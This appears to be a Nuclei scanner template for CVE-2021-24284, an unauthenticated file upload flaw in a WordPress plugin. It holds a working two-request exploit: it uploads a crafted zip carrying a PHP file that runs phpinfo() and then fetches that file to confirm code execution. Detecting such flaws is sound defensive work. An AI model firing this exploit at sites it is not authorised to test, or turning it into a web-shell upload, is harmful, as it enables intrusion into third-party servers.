79 lines
3.5 KiB
YAML
79 lines
3.5 KiB
YAML
id: CVE-2021-24284
|
|
|
|
info:
|
|
name: WordPress Kaswara Modern VC Addons <=3.0.1 - Arbitrary File Upload
|
|
author: lamscun,pussycat0x,pdteam
|
|
severity: critical
|
|
description: |
|
|
WordPress Kaswara Modern VC Addons plugin through 3.0.1 is susceptible to an arbitrary file upload. The plugin allows unauthenticated arbitrary file upload via the uploadFontIcon AJAX action, which can be used to obtain code execution. The supplied zipfile is unzipped in the wp-content/uploads/kaswara/fonts_icon directory with no checks for malicious files such as PHP.
|
|
remediation: |
|
|
Update to the latest version of Kaswara Modern VC Addons plugin (>=3.0.2) to mitigate this vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/8d66e338-a88f-4610-8d12-43e8be2da8c5
|
|
- https://github.com/advisories/GHSA-wqvg-8q49-hjc7
|
|
- https://www.wordfence.com/blog/2021/04/psa-remove-kaswara-modern-wpbakery-page-builder-addons-plugin-immediately/
|
|
- https://www.waltermairena.net/en/2021/04/25/0-day-vulnerability-in-the-plugin-kaswara-modern-vc-addons-plugin-what-can-i-do/
|
|
- https://lifeinhex.com/kaswara-exploit-or-how-much-wordfence-cares-about-user-security/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24284
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-24284
|
|
cwe-id: CWE-434
|
|
epss-score: 0.96885
|
|
epss-percentile: 0.99629
|
|
cpe: cpe:2.3:a:kaswara_project:kaswara:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: kaswara_project
|
|
product: kaswara
|
|
framework: wordpress
|
|
tags: intrusive,unauth,fileupload,wpscan,cve,wordpress,wp-plugin,rce,cve2021,wp
|
|
variables:
|
|
zip_file: "{{to_lower(rand_text_alpha(6))}}"
|
|
php_file: "{{to_lower(rand_text_alpha(2))}}.php"
|
|
php_cmd: "<?php phpinfo();?>"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /wp-admin/admin-ajax.php?action=uploadFontIcon HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=------------------------d3be34324392a708
|
|
|
|
--------------------------d3be34324392a708
|
|
Content-Disposition: form-data; name="fonticonzipfile"; filename="{{zip_file}}.zip"
|
|
Content-Type: application/octet-stream
|
|
|
|
{{hex_decode('504B03040A0000000000FA73F454B2333E07140000001400000006001C00')}}{{php_file}}{{hex_decode('555409000366CBD76267CBD76275780B000104F50100000414000000')}}{{php_cmd}}{{hex_decode('0A504B01021E030A00000000002978F454E49BC1591300000013000000060018000000000001000000A48100000000')}}{{php_file}}{{hex_decode('555405000366CBD76275780B000104F50100000414000000504B050600000000010001004C000000530000000000')}}
|
|
--------------------------d3be34324392a708
|
|
Content-Disposition: form-data; name="fontsetname"
|
|
|
|
{{zip_file}}
|
|
--------------------------d3be34324392a708
|
|
Content-Disposition: form-data; name="action"
|
|
|
|
uploadFontIcon
|
|
--------------------------d3be34324392a708--
|
|
- |
|
|
GET /wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/{{php_file}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_1
|
|
words:
|
|
- "wp-content/uploads/kaswara/fonts_icon/{{zip_file}}/style.css"
|
|
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- "phpinfo()"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502206aab1616bfab1a87690785224cdb3c16684b0b92c1b754eb41f2fe0eba9e4c10022100e323ae3d08f4e89410914f990966d65bb599660bb515f9c6a9df16541f868e27:922c64590222798bb761d5b6d8e72950 |